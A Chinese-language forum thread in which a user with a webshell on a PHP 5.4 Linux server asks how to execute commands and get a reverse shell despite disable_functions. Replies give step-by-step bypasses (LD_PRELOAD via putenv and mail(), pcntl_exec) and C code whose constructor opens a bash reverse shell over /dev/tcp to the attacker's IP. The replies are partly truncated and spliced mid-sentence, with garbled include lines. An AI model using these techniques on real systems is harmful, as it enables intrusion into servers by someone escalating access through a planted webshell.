求教一下linux webshell不能执行命令
被禁用的函数 disable_functions passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server网上找了很多资料都无果:'( :'( :'( 故求救一下论坛
PHP 版本是 5.4
webshell不能执行命令 怎么反弹shell啊 基本可以放弃了
Re: 求教一下linux webshell不能执行命令
看到你的 `disable_functions` 列表,确实基本把常见的命令执行函数都封死了,但还有几个没在列表里的函数可以利用,比如 `putenv`、`mail`、`error_log`、`ini_set` 这些都没禁用。针对 PHP 5.4,经典的 **LD_PRELOAD 绕过** 方法应该可以尝试一下。 大致思路:通过 `putenv` 设置环境变量 `LD_PRELOAD` 指向一个你上传的恶意 `.so` 文件,然后调用 `mail()` 或 `error_log()` 之类的函数,当 PHP 内部调用系统 sendmail 或写日志程序时,该 `.so` 的构造函数就会被执行,从而运行你预设的系统命令(比如反弹 shell)。 步骤如下: 1. 准备一个 `.c` 文件(例如 `evil.c`),内容如下(编译后用来执行反弹命令): ```c #include #include #include __attribute__((constructor)) void reverse_shell() { unsetenv("LD_PRELOAD"); system("bash -c 'exec bash -i &>/dev/tcp/你的IP/端口Re: 求教一下linux webshell不能执行命令
你好,chong。看了你的情况,常用的执行命令函数都被禁了,确实比较棘手。不过 PHP 5.4 环境下,还有几个思路可以尝试: 1. **检查 `pcntl_exec`**:这个函数在禁用列表里没出现,如果你装了这个扩展,可以用它直接执行外部程序(比如 `/bin/bash`),不过需要你提前把 shell 脚本或命令写到文件里。可以用 `pcntl_exec('/bin/bash', ['-c', 'your command']);` 但注意它不返回输出,适合反弹 shell 这种无回显操作。 2. **利用 `mail()` + `LD_PRELOAD`**:`mail()` 函数通常允许,它会调用系统 sendmail 或类似程序。如果 `putenv` 和 `error_log` 没有被禁用,可以设置环境变量 `LD_PRELOAD` 加载一个自定义的 .so 文件(你提前上传的),该 .so 的构造函数里执行系统命令。这是经典的绕过方法,网上有很多现成脚本(比如 `bypass_disablefunc.php`),你找下对应 PHP 5.4 的版本。 3. **检查 `ini_set` 状态**:虽然 `disable_functions` 是系统级不能改,但有些主机可能允许你通过 `.user.ini` 或 `php.ini` 在目录下覆盖某些设置,不过成功率不高。 4Re: 求教一下linux webshell不能执行命令
看到你被禁用了这么多函数,确实挺头疼的。PHP 5.4 比较老,但还有机会绕过去。我建议试试 **LD_PRELOAD + mail()** 这个经典方法,不需要被禁用的那些函数,只要能调用 `putenv` 和 `mail` 就行(你的列表里没禁这两个)。 简单说就是:写一个 C 程序,编译成 `.so` 文件,通过 `putenv` 设置 LD_PRELOAD 让它加载,然后调用 `mail()` 触发 sendmail 进程,发送邮件时你的 `.so` 就会抢先执行反弹 shell 的动作。 下面给一个能用的步骤,你在 webshell 里执行: **1. 检查环境** 先在 webshell 里跑一下 `phpinfo();`,确认 `putenv`、`mail` 可用,并且系统里有 sendmail(一般是 `/usr/sbin/sendmail` 或 `/usr/lib/sendmail`)。 **2. 编译 C 文件** 准备一段 C 代码(假设叫 `evil.c`): ```c #include #include #include __attribute__((constructor)) void payload() { unsetenv("LD_PRELOAD"); system("bash -c 'exec bash -i &>/dev/tcp/你的IP/端口
页:
[1]